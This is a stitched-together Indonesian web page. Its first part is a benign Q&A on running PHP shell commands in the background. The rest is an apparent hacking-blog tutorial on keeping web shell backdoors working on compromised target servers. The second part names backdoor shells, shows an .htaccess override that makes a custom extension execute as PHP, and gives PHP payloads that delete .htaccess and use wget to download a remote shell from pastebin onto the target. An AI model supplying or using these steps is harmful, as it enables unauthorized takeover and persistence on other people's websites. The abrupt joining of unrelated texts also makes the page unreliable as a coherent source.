Cara menggunakan shell php

Saya memiliki tugas proses intensif yang ingin saya jalankan di latar belakang.

Pengguna mengklik sebuah halaman, skrip PHP berjalan, dan akhirnya, berdasarkan pada beberapa kondisi, jika diperlukan, maka ia harus menjalankan skrip Shell, E.G .:

Shell_exec('php measurePerformance.php 47 844 [email protected]');

Saat ini saya menggunakan Shell_exec , tetapi ini membutuhkan skrip untuk menunggu keluaran. Apakah ada cara untuk mengeksekusi perintah yang saya inginkan tanpa menunggu untuk menyelesaikannya?

Bagaimana kalau menambahkan.

"> /dev/null 2>/dev/null &"

Shell_exec('php measurePerformance.php 47 844 [email protected] > /dev/null 2>/dev/null &');

Perhatikan ini juga menghilangkan stdio dan stderr.

Anda juga dapat memberikan output kembali ke klien secara instan dan melanjutkan memproses kode PHP sesudahnya.

Ini adalah metode yang saya gunakan untuk panggilan Ajax lama yang tidak akan berpengaruh pada sisi klien:

ob_end_clean();
ignore_user_abort();
ob_start();
header("Connection: close");
echo json_encode($out);
header("Content-Length: " . ob_get_length());
ob_end_flush();
flush();
// execute your command here. client will not wait for response, it already has one above.

Anda dapat menemukan penjelasan terperinci di sini: http://oytun.co/response-now-process-later

Pada Windows 2003, untuk memanggil skrip lain tanpa menunggu, saya menggunakan ini:

$commandString = "start /b c:\\php\\php.EXE C:\\Inetpub\\wwwroot\\mysite.com\\phpforktest.php --passmsg=$testmsg"; 
pclose(popen($commandString, 'r'));

Ini hanya berfungsi SETELAH memberikan perubahan izin pada cmd.exe - tambahkan Read and Execute for IUSR_YOURMACHINE (Saya juga mengatur write ke Deny).

Gunakan perintah popen PHP, mis .: .:

pclose(popen("start c:\wamp\bin\php.exe c:\wamp\www\script.php","r"));

Ini akan membuat proses anak dan skrip akan dieksekusi di latar belakang tanpa menunggu output.

Tentu, untuk windows Anda dapat menggunakan:

$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("C:/path/to/php-win.exe -f C:/path/to/script.php", 0, false);

Catatan:

Jika Anda mendapatkan kesalahan COM, tambahkan ekstensi ke php.ini Anda dan mulai ulang Apache:

[COM_DOT_NET]
extension=php_com_dotnet.dll

Itu akan bekerja tetapi Anda harus berhati-hati untuk tidak membebani server Anda karena itu akan membuat proses baru setiap kali Anda memanggil fungsi ini yang akan berjalan di latar belakang. Jika hanya satu panggilan bersamaan pada saat yang sama maka solusi ini akan melakukan pekerjaan.

Jika tidak maka saya akan menyarankan untuk menjalankan antrian pesan seperti misalnya beanstalkd/gearman/Amazon sqs.

Jika ini bukan dari halaman web, saya sarankan menghasilkan semacam sinyal (menjatuhkan file dalam direktori, mungkin) dan memiliki tugas cron mengambil pekerjaan yang perlu dilakukan. Kalau tidak, kita cenderung masuk ke wilayah menggunakan pcntl_fork() dan exec() dari dalam proses Apache, dan itu hanya mojo yang buruk.

Cara menggunakan shell php


Shell Backdoor adalah file yang ditanamkan oleh attacker ke server pada aktivitas hacking. Biasanya shell backdoor dibuat dengan format php atau asp, namun tidak menutup kemungkinan shell backdoor memiliki extensi yang lain. Shell backdoor sendiri punya beberapa fungsi, yaitu:

  • Mendapatkan akses lebih terhadap website
  • Sebagai jalur belakang hacker untuk masuk kembali (tanpa exploitasi ulang)
  • Meracuni website dengan code jahat agar terjadi kerusakan pada website

Dalam beberapa kasus saat kita ingin mengakses shell backdoor pada target, shell yang kita upload sering kali terdownload, nakanosec mempunyai beberapa teknik untuk bypass kasus ini yuk mulai

Mengatasi Shell Backdoor Yang Forbidden dan Terhapus
Ada beberapa penyebab shell backdoor forbidden atau terhapus, salah satunya adalah penggunaan filter dimana melakukan block pada script tertentu. Kasus ini dapat diatasi dengan menggunakan shell tmp atau marijuana. untuk source codenya seperti berikut

Tmp Shell Backdoor

Kalian bisa ubah url shell indoxploit dengan url shell kalian (dalam bentuk txt)

Cara menggunakan shell php


Marijuana Shell Backdoor


Baca juga: Bug PPPD Di Sistem Operasi Linux ,Hacker Mampu Melakukan Serangan Remote Code Execution (RCE)

Mengatasi Shell Backdoor Yang Terdownload
Selain Forbidden ada juga kasus shell yang terdownload saat diakses hal ini seringkali disebabkan oleh .htaccess namun ada juga yang memang tidak bisa dibypass seperti kasus dimana file terupload di aws ataupun didownload dengan script php. Berikut teknik teknik untuk bypass shell backdoor yang terdownload

 Bypass Shell Backdoor Dengan Override .htaccess

  • Buat file dengan nama .htaccess dengan isi sebagai berikut

AddType application/x-httpd-php .nakanosec

  •  Upload ke server target, jika tidak bisa terupload coba gunakan burp dan ganti ektensi
  • Siapkan Shell Marijuana dan rename menjadi Marijuana.nakanosec
  • Upload Shell Marijuana.nakanosec kemudian coba akses

 Bypass Shell Backdoor Dengan One Line Shell

  • Buat file nakanosec.php
  • Isi nakanosec.php dengan payload dibawah

<?php
system("id")
?>

  • Upload ke server target
  • Shell akan terdownload tapi command akan tereksekusi
  • Untuk upload shell remove dulu .htaccess dengan payload berikut 
<?php
system("rm .htaccess")
?>
  • kemudian untuk uploadnya gunakan payload berikut
<?php
system("wget https://pastebin.com/raw/tizUkMj9 -O nakanosec.php")
?> 

Mungkin itu saja untuk hari ini. Keep learn stay silent - Nakanosec